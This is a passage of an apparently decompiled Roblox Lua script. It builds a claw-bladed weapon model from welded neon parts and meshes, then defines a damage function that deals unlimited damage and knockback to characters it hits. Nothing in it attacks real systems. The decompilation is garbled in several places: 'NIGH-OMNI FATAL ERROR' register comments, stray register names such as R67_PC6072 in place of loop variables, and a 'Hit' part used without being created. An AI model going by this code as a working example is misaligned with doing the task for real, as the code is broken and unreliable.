823 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
824 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
825 | ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024)) | |
826 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) | |
827 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
828 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
829 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
830 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
831 | MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
832 | MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074)) | |
833 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
834 | ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639)) | |
835 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) | |
836 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
837 | ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804)) | |
838 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
839 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) | |
840 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
841 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) | |
842 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881)) | |
843 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) | |
844 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) | |
845 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) | |
846 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) | |
847 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) | |
848 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
849 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
850 | ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024)) | |
851 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) | |
852 | CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
853 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
854 | CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
855 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
856 | MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
857 | MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083)) | |
858 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
859 | ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) | |
860 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) | |
861 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
862 | ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489)) | |
863 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
864 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
865 | ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176)) | |
866 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
867 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
868 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) | |
869 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) | |
870 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) | |
871 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
872 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) | |
873 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) | |
874 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) | |
875 | MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
876 | MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023)) | |
877 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
878 | ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) | |
879 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) | |
880 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
881 | ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608)) | |
882 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
883 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
884 | ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176)) | |
885 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
886 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
887 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) | |
888 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) | |
889 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) | |
890 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
891 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) | |
892 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) | |
893 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) | |
894 | MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
895 | MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0)) | |
896 | local CBlade = {} | |
897 | local CBladeWelds = {} | |
898 | for _,c in pairs(m:children()) do | |
899 | if c.className == "Part" then | |
900 | table.insert(CBlade, R67_PC6072) | |
901 | end | |
902 | end | |
903 | for _,c in pairs(m:children()) do | |
904 | if c.className == "Weld" then | |
905 | table.insert(CBladeWelds, R67_PC6072) | |
906 | print(R66_PC6093) | |
907 | end | |
908 | end | |
909 | -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg' | |
910 | ||
911 | -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg' | |
912 | ||
913 | --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5)) | |
914 | -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg' | |
915 | ||
916 | -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg' | |
917 | ||
918 | HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0)) | |
919 | CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3)) | |
920 | FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013)) | |
921 | FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
922 | Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) | |
923 | PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) | |
924 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5)) | |
925 | Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) | |
926 | PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) | |
927 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1)) | |
928 | TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3)) | |
929 | TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
930 | CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5)) | |
931 | local DBlade = {} | |
932 | local DBladeWelds = {} | |
933 | for _,c in pairs(demon:children()) do | |
934 | if c.className == "Part" then | |
935 | table.insert(DBlade, c) | |
936 | end | |
937 | end | |
938 | for _,c in pairs(demon:children()) do | |
939 | if c.className == "Weld" then | |
940 | table.insert(DBladeWelds, c) | |
941 | print(c) | |
942 | end | |
943 | end | |
944 | demon.Parent = nil | |
945 | ||
946 | paly = game.Players.LocalPlayer | |
947 | char = paly.Character | |
948 | torso = char.Torso | |
949 | neck = char.Torso.Neck | |
950 | hum = char.Humanoid | |
951 | Player = game:GetService("Players").LocalPlayer | |
952 | local mouse = Player:GetMouse() | |
953 | Character = Player.Character | |
954 | tors = Character.Torso | |
955 | lleg = Character["Left Leg"] | |
956 | root = Character.HumanoidRootPart | |
957 | hed = Character.Head | |
958 | rleg = Character["Right Leg"] | |
959 | rarm = Character["Right Arm"] | |
960 | larm = Character["Left Arm"] | |
961 | local Effects = {} | |
962 | attack = false | |
963 | vt = Vector3.new | |
964 | bc = BrickColor.new | |
965 | br = BrickColor.random | |
966 | it = Instance.new | |
967 | cf = CFrame.new | |
968 | euler = CFrame.fromEulerAnglesXYZ | |
969 | angles = CFrame.Angles | |
970 | matr = math.random | |
971 | local basiccooldown = math.huge | |
972 | local ultcooldown = math.huge | |
973 | local secondcooldown = math.huge | |
974 | local thirdcooldown = math.huge | |
975 | ||
976 | local boll = Instance.new("Part",game.Lighting) | |
977 | boll.Transparency = 0.5 | |
978 | boll.Material = "Neon" | |
979 | boll.BrickColor = tors.BrickColor | |
980 | boll.Anchored = true | |
981 | boll.Size = vt(1,1,1) | |
982 | boll.Shape = "Ball" | |
983 | boll.CanCollide = false | |
984 | ||
985 | local shur = Instance.new("Part",game.Lighting) | |
986 | shur.Transparency = 0 | |
987 | shur.Material = "Neon" | |
988 | shur.BrickColor = tors.BrickColor | |
989 | shur.Anchored = true | |
990 | shur.Size = vt(5,0.2,5) | |
991 | shur.CanCollide = false | |
992 | local Meshshur = Instance.new("CylinderMesh",shur) | |
993 | ||
994 | ||
995 | local boll = Instance.new("Part",game.Lighting) | |
996 | boll.Transparency = 0.5 | |
997 | boll.Material = "Neon" | |
998 | boll.BrickColor = bc("Bright red") | |
999 | boll.Anchored = true | |
1000 | boll.Size = vt(1,1,1) | |
1001 | boll.Shape = "Ball" | |
1002 | boll.CanCollide = false | |
1003 | ||
1004 | local shur = Instance.new("Part",game.Lighting) | |
1005 | shur.Transparency = 0 | |
1006 | shur.Material = "Neon" | |
1007 | shur.BrickColor = bc("Bright red") | |
1008 | shur.Anchored = true | |
1009 | shur.Size = vt(5,0.2,5) | |
1010 | shur.CanCollide = false | |
1011 | local Meshshur = Instance.new("CylinderMesh",shur) | |
1012 | ||
1013 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
1014 | if hit.Parent==nil then | |
1015 | return | |
1016 | end | |
1017 | h=hit.Parent:FindFirstChild("Humanoid") | |
1018 | for _,v in pairs(hit.Parent:children()) do | |
1019 | if v:IsA("Humanoid") then | |
1020 | h=v | |
1021 | end | |
1022 | end | |
1023 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
1024 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
1025 | end | |
1026 | if hit.Parent.className=="Hat" then | |
1027 | hit=hit.Parent.Parent:findFirstChild("Head") | |
1028 | end | |
1029 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
1030 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
1031 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
1032 | return | |
1033 | end]] | |
1034 | -- hs(hit,1.2) | |
1035 | c=Instance.new("ObjectValue") | |
1036 | c.Name="creator" | |
1037 | c.Value=game:service("Players").LocalPlayer | |
1038 | c.Parent=h | |
1039 | game:GetService("Debris"):AddItem(c,.5) | |
1040 | Damage=math.huge | |
1041 | -- h:TakeDamage(Damage) | |
1042 | blocked=false | |
1043 | block=hit.Parent:findFirstChild("Block") | |
1044 | if block~=nil then | |
1045 | print(block.className) | |
1046 | if block.className=="NumberValue" then | |
1047 | if block.Value>0 then | |
1048 | blocked=true | |
1049 | if decreaseblock==nil then | |
1050 | block.Value=block.Value-1 | |
1051 | end | |
1052 | end | |
1053 | end | |
1054 | if block.className=="IntValue" then | |
1055 | if block.Value>0 then | |
1056 | blocked=true | |
1057 | if decreaseblock~=nil then | |
1058 | block.Value=block.Value-1 | |
1059 | end | |
1060 | end | |
1061 | end | |
1062 | end | |
1063 | if blocked==false then | |
1064 | -- h:TakeDamage(Damage) | |
1065 | h.Health=h.Health-Damage | |
1066 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
1067 | else | |
1068 | h.Health=h.Health-(Damage/2) | |
1069 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright red")) | |
1070 | end | |
1071 | if Type=="Knockdown" then | |
1072 | hum=hit.Parent.Humanoid | |
1073 | hum.PlatformStand=true | |
1074 | coroutine.resume(coroutine.create(function(HHumanoid) | |
1075 | swait(1) | |
1076 | HHumanoid.PlatformStand=false | |
1077 | end),hum) | |
1078 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
1079 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
1080 | local bodvol=Instance.new("BodyVelocity") | |
1081 | bodvol.velocity=angle*knockback | |
1082 | bodvol.P=5000 | |
1083 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
1084 | bodvol.Parent=hit | |
1085 | rl=Instance.new("BodyAngularVelocity") | |
1086 | rl.P=3000 | |
1087 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
1088 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
1089 | rl.Parent=hit | |
1090 | game:GetService("Debris"):AddItem(bodvol,.5) | |
1091 | game:GetService("Debris"):AddItem(rl,.5) | |
1092 | elseif Type=="Normal" then | |
1093 | vp=Instance.new("BodyVelocity") | |
1094 | vp.P=500 | |
1095 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
1096 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
1097 | if KnockbackType==1 then | |
1098 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
1099 | elseif KnockbackType==2 then | |
1100 | vp.velocity=Property.CFrame.lookVector*knockback | |
1101 | end | |
1102 | if knockback>0 then | |
1103 | vp.Parent=hit.Parent.Torso | |
1104 | end | |
1105 | game:GetService("Debris"):AddItem(vp,.5) | |
1106 | elseif Type=="Up" then | |
1107 | local bodyVelocity=Instance.new("BodyVelocity") | |
1108 | bodyVelocity.velocity=vt(0,10,0) | |
1109 | bodyVelocity.P=1000 | |
1110 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
1111 | bodyVelocity.Parent=hit | |
1112 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
1113 | rl=Instance.new("BodyAngularVelocity") | |
1114 | rl.P=3000 | |
1115 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
1116 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
1117 | rl.Parent=hit | |
1118 | game:GetService("Debris"):AddItem(rl,.5) | |
1119 | elseif Type=="Snare" then | |
1120 | bp=Instance.new("BodyPosition") | |
1121 | bp.P=2000 | |
1122 | bp.D=100 | |
1123 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
1124 | bp.position=hit.Parent.Torso.Position | |
1125 | bp.Parent=hit.Parent.Torso | |
1126 | game:GetService("Debris"):AddItem(bp,1) | |
1127 | elseif Type=="Target" then | |
1128 | if Targetting==false then | |
